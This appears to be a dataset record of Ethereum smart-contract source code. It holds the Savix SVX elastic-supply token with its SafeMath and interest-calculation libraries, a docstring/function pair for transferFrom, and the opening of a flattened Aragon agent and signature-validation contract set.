`+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) public pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) public pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) public pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) public pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) public pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) public pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) public pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) public pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./IERC20.sol"; import "./SafeMath.sol"; import "./SavixSupply.sol"; contract Savix is IERC20 { using SafeMath for uint256; address private _owner; string private constant NAME = "Savix"; string private constant SYMBOL = "SVX"; uint private constant DECIMALS = 9; uint private _constGradient = 0; address private constant BURNADDR = 0x000000000000000000000000000000000000dEaD; // global burn address bool private _stakingActive = false; uint256 private _stakingSince = 0; uint256 private constant MAX_UINT256 = 2**256 - 1; uint256 private constant INITIAL_TOKEN_SUPPLY = 10**5 * 10**DECIMALS; // TOTAL_FRAGMENTS is a multiple of INITIAL_TOKEN_SUPPLY so that _fragmentsPerToken is an integer. // Use the highest value that fits in a uint256 for max granularity. uint256 private constant TOTAL_FRAGMENTS = MAX_UINT256 - (MAX_UINT256 % INITIAL_TOKEN_SUPPLY); uint256 private _totalSupply = INITIAL_TOKEN_SUPPLY; uint256 private _lastTotalSupply = INITIAL_TOKEN_SUPPLY; // ** added: new variable _adjustTime uint256 private _adjustTime = 0; uint256 private _lastAdjustTime = 0; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _burnAmount; uint256[2][] private _supplyMap; constructor() public { _owner = msg.sender; _totalSupply = INITIAL_TOKEN_SUPPLY; _balances[_owner] = TOTAL_FRAGMENTS; _supplyMap.push([0, 100000 * 10**DECIMALS]); _supplyMap.push([7 * SavixSupply.SECPERDAY, 115000 * 10**DECIMALS]); _supplyMap.push([30 * SavixSupply.SECPERDAY, 130000 * 10**DECIMALS]); _supplyMap.push([6 * 30 * SavixSupply.SECPERDAY, 160000 * 10**DECIMALS]); _supplyMap.push([12 * 30 * SavixSupply.SECPERDAY, 185000 * 10**DECIMALS]); _supplyMap.push([18 * 30 * SavixSupply.SECPERDAY, 215000 * 10**DECIMALS]); _supplyMap.push([24 * 30 * SavixSupply.SECPERDAY, 240000 * 10**DECIMALS]); _supplyMap.push([48 * 30 * SavixSupply.SECPERDAY, 300000 * 10**DECIMALS]); // ** changed: gradient changed for slightly higher interest in far future // _constGradient = SafeMath.div(INITIAL_TOKEN_SUPPLY * CONSTINTEREST, 360 * SavixSupply.SECPERDAY * 100); ** old version _constGradient = 8 * 10**(DECIMALS - 4); } modifier validRecipient(address to) { require(to != address(0) && to != address(this), "Invalid Recipient"); _; } modifier onlyOwner { require(msg.sender == _owner, "Only owner can call this function."); _; } function supplyMap() external view returns (uint256[2][] memory) { return _supplyMap; } function initialSupply() external pure returns (uint256) { return INITIAL_TOKEN_SUPPLY; } function finalGradient() external view returns (uint) { return _constGradient; } function lastAdjustTime() external view returns (uint) { return _lastAdjustTime; } function lastTotalSupply() external view returns (uint) { return _lastTotalSupply; } function startStaking() external onlyOwner { _stakingActive = true; _stakingSince = block.timestamp; _totalSupply = _supplyMap[0][1]; _lastTotalSupply = _totalSupply; _lastAdjustTime = 0; // ** added: new variable _adjustTime _adjustTime = 0; } function name() external pure returns (string memory) { return NAME; } function symbol() external pure returns (string memory) { return SYMBOL; } function decimals() external pure returns (uint8) { return uint8(DECIMALS); } function stakingActive() external view returns (bool) { return _stakingActive; } function stakingSince() external view returns (uint256) { return _stakingSince; } function stakingFrequence() external pure returns (uint) { return SavixSupply.MINTIMEWIN; } function totalSupply() override external view returns (uint256) { // since we cannot directly decrease total supply without affecting all balances, we // track burned tokens and substract them here // we also substact burned tokens from the global burn address return _totalSupply - _burnAmount.div(TOTAL_FRAGMENTS.div(_totalSupply)) - balanceOf(BURNADDR); } // dailyInterest rate is given in percent with 2 decimals => result has to be divede by 10**9 to get correct number with precision 2 function dailyInterest() external view returns (uint) { return SavixSupply.getDailyInterest(block.timestamp - _stakingSince, _lastAdjustTime, _totalSupply, _lastTotalSupply); } // ** new method // yearlyInterest rate is given in percent with 2 decimals => result has to be divede by 10**9 to get correct number with precision 2 function yearlyInterest() external view returns (uint) { return SavixSupply.getYearlyInterest(block.timestamp - _stakingSince, _lastAdjustTime, _totalSupply, _lastTotalSupply); } function balanceOf(address account) override public view returns (uint256) { return _balances[account].div(TOTAL_FRAGMENTS.div(_totalSupply)); } function _calculateFragments(uint256 value) internal returns (uint256) { if(_stakingActive && (block.timestamp - _stakingSince) - _lastAdjustTime >= SavixSupply.MINTIMEWIN) { uint256 newSupply = SavixSupply.getAdjustedSupply(_supplyMap, (block.timestamp - _stakingSince), _constGradient); if (_totalSupply != newSupply) { // ** changed: assignment order // ** added: new variable _adjustTime _lastAdjustTime = _adjustTime; _adjustTime = block.timestamp - _stakingSince; _lastTotalSupply = _totalSupply; _totalSupply = newSupply; } } // return value.mul(TOTAL_FRAGMENTS.div(_totalSupply)); ** old version // return TOTAL_FRAGMENTS.mul(value).div(_totalSupply); ** this would be appropriate in order to multiply before division // But => leads to multiplication overflow due to extremly high numbers in which supply fragments are held return TOTAL_FRAGMENTS.div(_totalSupply).mul(value); } function burn(uint256 value) external returns (bool) { uint256 rAmount = _calculateFragments(value); _balances[msg.sender] = _balances[msg.sender].sub(rAmount,"burn amount exceeds balance"); // cannot modify totalsupply directly, otherwise all balances would decrease // we keep track of the burn amount and use it in the totalSupply() function to correctly // compute the totalsupply // also, burned tokens have to be stored as fragments (percentage) of the total supply // This means they gets affected by staking: the burned amount will automatically increase accordingly _burnAmount += rAmount; emit Transfer(msg.sender, address(0), value); return true; } function getBurnAmount() external view returns (uint256) { return _burnAmount.div(TOTAL_FRAGMENTS.div(_totalSupply)) + balanceOf(BURNADDR); } function transfer(address to, uint256 value) override external validRecipient(to) returns (bool) { uint256 rAmount = _calculateFragments(value); _balances[msg.sender] = _balances[msg.sender].sub(rAmount,"ERC20: transfer amount exceeds balance"); _balances[to] = _balances[to].add(rAmount); emit Transfer(msg.sender, to, value); return true; } /** * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 value) override external returns (bool) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(value,"ERC20: transfer amount exceeds allowance"); uint256 rAmount = _calculateFragments(value); _balances[sender] = _balances[sender].sub(rAmount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(rAmount); emit Transfer(sender, recipient, value); return true; } function allowance(address owner, address spender) override external view returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { uint256 newValue = _allowances[msg.sender][spender].add(addedValue); _allowances[msg.sender][spender] = 0; _approve(msg.sender, spender, newValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 newValue = _allowances[msg.sender][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"); _allowances[msg.sender][spender] = 0; _approve(msg.sender, spender, newValue); return true; } function approve(address spender, uint256 value) override external returns (bool) { _allowances[msg.sender][spender] = 0; _approve(msg.sender, spender, value); return true; } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); // In order to exclude front-running attacks: // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((value == 0 || _allowances[owner][spender] == 0), "possible front-running attack"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } // use same logic to adjust balances as in function transfer // only distribute from owner wallet (ecosystem fund) // gas friendly way to do airdrops or giveaways function distributeTokens(address[] memory addresses, uint256 value) external onlyOwner { uint256 rAmount = _calculateFragments(value); _balances[_owner] = _balances[_owner].sub(rAmount * addresses.length,"ERC20: distribution total amount exceeds balance"); uint256 addressesLength = addresses.length; for (uint i = 0; i < addressesLength; i++) { _balances[addresses[i]] = _balances[addresses[i]].add(rAmount); emit Transfer(_owner, addresses[i], value); } } // use same logic to adjust balances as in function transfer // only distribute from owner wallet (ecosystem fund) // gas friendly way to do airdrops or giveaways function distributeTokensFlexSum(address[] memory addresses, uint256[] memory values) external onlyOwner { // there has to be exacly 1 value per address require(addresses.length == values.length, "there has to be exacly 1 value per address"); // Overflow check uint256 valuesum = 0; uint256 valueLength = values.length; for (uint i = 0; i < valueLength; i++) valuesum += values[i]; _balances[_owner] = _balances[_owner].sub( _calculateFragments(valuesum),"ERC20: distribution total amount exceeds balance"); uint256 addressesLength = addresses.length; for (uint i = 0; i < addressesLength; i++) { _balances[addresses[i]] = _balances[addresses[i]].add(_calculateFragments(values[i])); emit Transfer(_owner, addresses[i], values[i]); } } function getOwner() external view returns(address) { return _owner; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./SafeMath.sol"; /** * @dev savix interest and supply calculations. * */ library SavixSupply { uint256 public constant MAX_UINT256 = 2**256 - 1; uint256 public constant MAX_UINT128 = 2**128 - 1; uint public constant MINTIMEWIN = 7200; // 2 hours uint public constant SECPERDAY = 3600 * 24; uint public constant DECIMALS = 9; struct SupplyWinBoundary { uint256 x1; uint256 x2; uint256 y1; uint256 y2; } function getSupplyWindow(uint256[2][] memory map, uint256 calcTime) internal pure returns (SupplyWinBoundary memory) { SupplyWinBoundary memory winBound; winBound.x1 = 0; winBound.x2 = 0; winBound.y1 = map[0][1]; winBound.y2 = 0; for (uint i=0; i < map.length; i++) { if (map[i][0] == 0) continue; if (calcTime < map[i][0]) { winBound.x2 = map[i][0]; winBound.y2 = map[i][1]; break; } else { winBound.x1 = map[i][0]; winBound.y1 = map[i][1]; } } if (winBound.x2 == 0) winBound.x2 = MAX_UINT128; if (winBound.y2 == 0) winBound.y2 = MAX_UINT128; return winBound; } // function to calculate new Supply with SafeMath for divisions only, shortest (cheapest) form function getAdjustedSupply(uint256[2][] memory map, uint256 transactionTime, uint constGradient) internal pure returns (uint256) { if (transactionTime >= map[map.length-1][0]) { // return (map[map.length-1][1] + constGradient * (SafeMath.sub(transactionTime, map[map.length-1][0]))); ** old version return (map[map.length-1][1] + SafeMath.mul(constGradient, SafeMath.sub(transactionTime, map[map.length-1][0]))); } SupplyWinBoundary memory winBound = getSupplyWindow(map, transactionTime); // return (winBound.y1 + SafeMath.div(winBound.y2 - winBound.y1, winBound.x2 - winBound.x1) * (transactionTime - winBound.x1)); ** old version return (winBound.y1 + SafeMath.div(SafeMath.mul(SafeMath.sub(winBound.y2, winBound.y1), SafeMath.sub(transactionTime, winBound.x1)), SafeMath.sub(winBound.x2, winBound.x1))); } function getDailyInterest(uint256 currentTime, uint256 lastAdjustTime, uint256 currentSupply, uint256 lastSupply) internal pure returns (uint) { if (currentTime <= lastAdjustTime) { return uint128(0); } // ** old version // uint256 InterestSinceLastAdjust = SafeMath.div((currentSupply - lastSupply) * 100, lastSupply); // return (SafeMath.div(InterestSinceLastAdjust * SECPERDAY, currentTime - lastAdjustTime)); return (SafeMath.div(SafeMath.sub(currentSupply, lastSupply) * 100 * 10**DECIMALS * SECPERDAY, SafeMath.mul(SafeMath.sub(currentTime, lastAdjustTime), lastSupply))); } // ** new method // yearlyInterest rate is given in percent with 2 decimals => result has to be divede by 10**9 to get correct number with precision 2 function getYearlyInterest(uint256 currentTime, uint256 lastAdjustTime, uint256 currentSupply, uint256 lastSupply) internal pure returns (uint) { if (currentTime <= lastAdjustTime) { return uint128(0); } return (SafeMath.div(SafeMath.sub(currentSupply, lastSupply) * 100 * 10**DECIMALS * SECPERDAY * 360, SafeMath.mul(SafeMath.sub(currentTime, lastAdjustTime), lastSupply))); } }
Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./
function transferFrom(address sender, address recipient, uint256 value) override external returns (bool) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(value,"ERC20: transfer amount exceeds allowance"); uint256 rAmount = _calculateFragments(value); _balances[sender] = _balances[sender].sub(rAmount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(rAmount); emit Transfer(sender, recipient, value); return true; }
6,068,296
/** *Submitted for verification at Etherscan.io on 2020-02-11 */ // File: @aragon/os/contracts/common/EtherTokenConstant.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; // aragonOS and aragon-apps rely on address(0) to denote native ETH, in // contracts where both tokens and ETH are accepted contract EtherTokenConstant { address internal constant ETH = address(0); } // File: @aragon/apps-agent/contracts/standards/ERC1271.sol pragma solidity 0.4.24; // ERC1271 on Feb 12th, 2019: https://github.com/ethereum/EIPs/blob/a97dc434930d0ccc4461c97d8c7a920dc585adf2/EIPS/eip-1271.md // Using `isValidSignature(bytes32,bytes)` even though the standard still hasn't been modified // Rationale: https://github.com/ethereum/EIPs/issues/1271#issuecomment-462719728 contract ERC1271 { bytes4 constant public ERC1271_INTERFACE_ID = 0xfb855dc9; // this.isValidSignature.selector bytes4 constant public ERC1271_RETURN_VALID_SIGNATURE = 0x20c13b0b; // TODO: Likely needs to be updated bytes4 constant public ERC1271_RETURN_INVALID_SIGNATURE = 0x00000000; /** * @dev Function must be implemented by deriving contract * @param _hash Arbitrary length data signed on the behalf of address(this) * @param _signature Signature byte array associated with _data * @return A bytes4 magic value 0x20c13b0b if the signature check passes, 0x00000000 if not * * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5) * MUST allow external calls */ function isValidSignature(bytes32 _hash, bytes memory _signature) public view returns (bytes4); function returnIsValidSignatureMagicNumber(bool isValid) internal pure returns (bytes4) { return isValid ? ERC1271_RETURN_VALID_SIGNATURE : ERC1271_RETURN_INVALID_SIGNATURE; } } contract ERC1271Bytes is ERC1271 { /** * @dev Default behavior of `isValidSignature(bytes,bytes)`, can be overloaded for custom validation * @param _data Arbitrary length data signed on the behalf of address(this) * @param _signature Signature byte array associated with _data * @return A bytes4 magic value 0x20c13b0b if the signature check passes, 0x00000000 if not * * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5) * MUST allow external calls */ function isValidSignature(bytes _data, bytes _signature) public view returns (bytes4) { return isValidSignature(keccak256(_data), _signature); } } // File: @aragon/apps-agent/contracts/SignatureValidator.sol pragma solidity 0.4.24; // Inspired by https://github.com/horizon-games/multi-token-standard/blob/319740cf2a78b8816269ae49a09c537b3fd7303b/contracts/utils/SignatureValidator.sol // This should probably be moved into aOS: https://github.com/aragon/aragonOS/pull/442 library SignatureValidator { enum SignatureMode { Invalid, // 0x00 EIP712, // 0x01 EthSign, // 0x02 ERC1271, // 0x03 NMode // 0x04, to check if mode is specified, leave at the end } // bytes4(keccak256("isValidSignature(bytes,bytes)") bytes4 public constant ERC1271_RETURN_VALID_SIGNATURE = 0x20c13b0b; uint256 internal constant ERC1271_ISVALIDSIG_MAX_GAS = 250000; string private constant ERROR_INVALID_LENGTH_POP_BYTE = "SIGVAL_INVALID_LENGTH_POP_BYTE"; /// @dev Validates that a hash was signed by a specified signer. /// @param hash Hash which was signed. /// @param signer Address of the signer. /// @param signature ECDSA signature along with the mode (0 = Invalid, 1 = EIP712, 2 = EthSign, 3 = ERC1271) {mode}{r}{s}{v}. /// @return Returns whether signature is from a specified user. function isValidSignature(bytes32 hash, address signer, bytes signature) internal view returns (bool) { if (signature.length == 0) { return false; } uint8 modeByte = uint8(signature[0]); if (modeByte >= uint8(SignatureMode.NMode)) { return false; } SignatureMode mode = SignatureMode(modeByte); if (mode == SignatureMode.EIP712) { return ecVerify(hash, signer, signature); } else if (mode == SignatureMode.EthSign) { return ecVerify( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), signer, signature ); } else if (mode == SignatureMode.ERC1271) { // Pop the mode byte before sending it down the validation chain return safeIsValidSignature(signer, hash, popFirstByte(signature)); } else { return false; } } function ecVerify(bytes32 hash, address signer, bytes memory signature) private pure returns (bool) { (bool badSig, bytes32 r, bytes32 s, uint8 v) = unpackEcSig(signature); if (badSig) { return false; } return signer == ecrecover(hash, v, r, s); } function unpackEcSig(bytes memory signature) private pure returns (bool badSig, bytes32 r, bytes32 s, uint8 v) { if (signature.length != 66) { badSig = true; return; } v = uint8(signature[65]); assembly { r := mload(add(signature, 33)) s := mload(add(signature, 65)) } // Allow signature version to be 0 or 1 if (v < 27) { v += 27; } if (v != 27 && v != 28) { badSig = true; } } function popFirstByte(bytes memory input) private pure returns (bytes memory output) { uint256 inputLength = input.length; require(inputLength > 0, ERROR_INVALID_LENGTH_POP_BYTE); output = new bytes(inputLength - 1); if (output.length == 0) { return output; } uint256 inputPointer; uint256 outputPointer; assembly { inputPointer := add(input, 0x21) outputPointer := add(output, 0x20) } memcpy(outputPointer, inputPointer, output.length); } function safeIsValidSignature(address validator, bytes32 hash, bytes memory signature) private view returns (bool) { bytes memory data = abi.encodeWithSelector(ERC1271(validator).isValidSignature.selector, hash, signature); bytes4 erc1271Return = safeBytes4StaticCall(validator, data, ERC1271_ISVALIDSIG_MAX_GAS); return erc1271Return == ERC1271_RETURN_VALID_SIGNATURE; } function safeBytes4StaticCall(address target, bytes data, uint256 maxGas) private view returns (bytes4 ret) { uint256 gasLeft = gasleft(); uint256 callGas = gasLeft > maxGas ? maxGas : gasLeft; bool ok; assembly { ok := staticcall(callGas, target, add(data, 0x20), mload(data), 0, 0) } if (!ok) { return; } uint256 size; assembly { size := returndatasize } if (size != 32) { return; } assembly { let ptr := mload(0x40) // get next free memory ptr returndatacopy(ptr, 0, size) // copy return from above `staticcall` ret := mload(ptr) // read data at ptr and set it to be returned } return ret; } // From: https://github.com/Arachnid/solidity-stringutils/blob/01e955c1d6/src/strings.sol function memcpy(uint256 dest, uint256 src, uint256 len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } // File: @aragon/apps-agent/contracts/standards/IERC165.sol pragma solidity 0.4.24; interface IERC165 { function supportsInterface(bytes4 interfaceId) external pure returns (bool); } // File: @aragon/os/contracts/common/UnstructuredStorage.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; library UnstructuredStorage { function getStorageBool(bytes32 position) internal view returns (bool data) { assembly { data := sload(position) } } function getStorageAddress(bytes32 position) internal view returns (address data) { assembly { data := sload(position) } } function getStorageBytes32(bytes32 position) internal view returns (bytes32 data) { assembly { data := sload(position) } } function getStorageUint256(bytes32 position) internal view returns (uint256 data) { assembly { data := sload(position) } } function setStorageBool(bytes32 position, bool data) internal { assembly { sstore(position, data) } } function setStorageAddress(bytes32 position, address data) internal { assembly { sstore(position, data) } } function setStorageBytes32(bytes32 position, bytes32 data) internal { assembly { sstore(position, data) } } function setStorageUint256(bytes32 position, uint256 data) internal { assembly { sstore(position, data) } } } // File: @aragon/os/contracts/acl/IACL.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IACL { function initialize(address permissionsCreator) external; // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); } // File: @aragon/os/contracts/common/IVaultRecoverable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IVaultRecoverable { event RecoverToVault(address indexed vault, address indexed token, uint256 amount); function transferToVault(address token) external; function allowRecoverability(address token) external view returns (bool); function getRecoveryVault() external view returns (address); } // File: @aragon/os/contracts/kernel/IKernel.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IKernelEvents { event SetApp(bytes32 indexed namespace, bytes32 indexed appId, address app); } // This should be an interface, but interfaces can't inherit yet :( contract IKernel is IKernelEvents, IVaultRecoverable { function acl() public view returns (IACL); function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); function setApp(bytes32 namespace, bytes32 appId, address app) public; function getApp(bytes32 namespace, bytes32 appId) public view returns (address); } // File: @aragon/os/contracts/apps/AppStorage.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract AppStorage { using UnstructuredStorage for bytes32; /* Hardcoded constants to save gas bytes32 internal constant KERNEL_POSITION = keccak256("aragonOS.appStorage.kernel"); bytes32 internal constant APP_ID_POSITION = keccak256("aragonOS.appStorage.appId"); */ bytes32 internal constant KERNEL_POSITION = 0x4172f0f7d2289153072b0a6ca36959e0cbe2efc3afe50fc81636caa96338137b; bytes32 internal constant APP_ID_POSITION = 0xd625496217aa6a3453eecb9c3489dc5a53e6c67b444329ea2b2cbc9ff547639b; function kernel() public view returns (IKernel) { return IKernel(KERNEL_POSITION.getStorageAddress()); } function appId() public view returns (bytes32) { return APP_ID_POSITION.getStorageBytes32(); } function setKernel(IKernel _kernel) internal { KERNEL_POSITION.setStorageAddress(address(_kernel)); } function setAppId(bytes32 _appId) internal { APP_ID_POSITION.setStorageBytes32(_appId); } } // File: @aragon/os/contracts/acl/ACLSyntaxSugar.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract ACLSyntaxSugar { function arr() internal pure returns (uint256[]) { return new uint256[](0); } function arr(bytes32 _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(bytes32 _a, bytes32 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(address _a, address _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c); } function arr(address _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c, _d); } function arr(address _a, uint256 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), _c, _d, _e); } function arr(address _a, address _b, address _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(address _a, address _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(uint256 _a) internal pure returns (uint256[] r) { r = new uint256[](1); r[0] = _a; } function arr(uint256 _a, uint256 _b) internal pure returns (uint256[] r) { r = new uint256[](2); r[0] = _a; r[1] = _b; } function arr(uint256 _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { r = new uint256[](3); r[0] = _a; r[1] = _b; r[2] = _c; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { r = new uint256[](4); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { r = new uint256[](5); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; r[4] = _e; } } contract ACLHelpers { function decodeParamOp(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 30)); } function decodeParamId(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 31)); } function decodeParamsList(uint256 _x) internal pure returns (uint32 a, uint32 b, uint32 c) { a = uint32(_x); b = uint32(_x >> (8 * 4)); c = uint32(_x >> (8 * 8)); } } // File: @aragon/os/contracts/common/Uint256Helpers.sol pragma solidity ^0.4.24; library Uint256Helpers { uint256 private constant MAX_UINT64 = uint64(-1); string private constant ERROR_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG"; function toUint64(uint256 a) internal pure returns (uint64) { require(a <= MAX_UINT64, ERROR_NUMBER_TOO_BIG); return uint64(a); } } // File: @aragon/os/contracts/common/TimeHelpers.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract TimeHelpers { using Uint256Helpers for uint256; /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } /** * @dev Returns the current block number, converted to uint64. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber64() internal view returns (uint64) { return getBlockNumber().toUint64(); } /** * @dev Returns the current timestamp. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp() internal view returns (uint256) { return block.timestamp; // solium-disable-line security/no-block-members } /** * @dev Returns the current timestamp, converted to uint64. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp64() internal view returns (uint64) { return getTimestamp().toUint64(); } } // File: @aragon/os/contracts/common/Initializable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Initializable is TimeHelpers { using UnstructuredStorage for bytes32; // keccak256("aragonOS.initializable.initializationBlock") bytes32 internal constant INITIALIZATION_BLOCK_POSITION = 0xebb05b386a8d34882b8711d156f463690983dc47815980fb82aeeff1aa43579e; string private constant ERROR_ALREADY_INITIALIZED = "INIT_ALREADY_INITIALIZED"; string private constant ERROR_NOT_INITIALIZED = "INIT_NOT_INITIALIZED"; modifier onlyInit { require(getInitializationBlock() == 0, ERROR_ALREADY_INITIALIZED); _; } modifier isInitialized { require(hasInitialized(), ERROR_NOT_INITIALIZED); _; } /** * @return Block number in which the contract was initialized */ function getInitializationBlock() public view returns (uint256) { return INITIALIZATION_BLOCK_POSITION.getStorageUint256(); } /** * @return Whether the contract has been initialized by the time of the current block */ function hasInitialized() public view returns (bool) { uint256 initializationBlock = getInitializationBlock(); return initializationBlock != 0 && getBlockNumber() >= initializationBlock; } /** * @dev Function to be called by top level contract after initialization has finished. */ function initialized() internal onlyInit { INITIALIZATION_BLOCK_POSITION.setStorageUint256(getBlockNumber()); } /** * @dev Function to be called by top level contract after initialization to enable the contract * at a future block number rather than immediately. */ function initializedAt(uint256 _blockNumber) internal onlyInit { INITIALIZATION_BLOCK_POSITION.setStorageUint256(_blockNumber); } } // File: @aragon/os/contracts/common/Petrifiable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Petrifiable is Initializable { // Use block UINT256_MAX (which should be never) as the initializable date uint256 internal constant PETRIFIED_BLOCK = uint256(-1); function isPetrified() public view returns (bool) { return getInitializationBlock() == PETRIFIED_BLOCK; } /** * @dev Function to be called by top level contract to prevent being initialized. * Useful for freezing base contracts when they're used behind proxies. */ function petrify() internal onlyInit { initializedAt(PETRIFIED_BLOCK); } } // File: @aragon/os/contracts/common/Autopetrified.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Autopetrified is Petrifiable { constructor() public { // Immediately petrify base (non-proxy) instances of inherited contracts on deploy. // This renders them uninitializable (and unusable without a proxy). petrify(); } } // 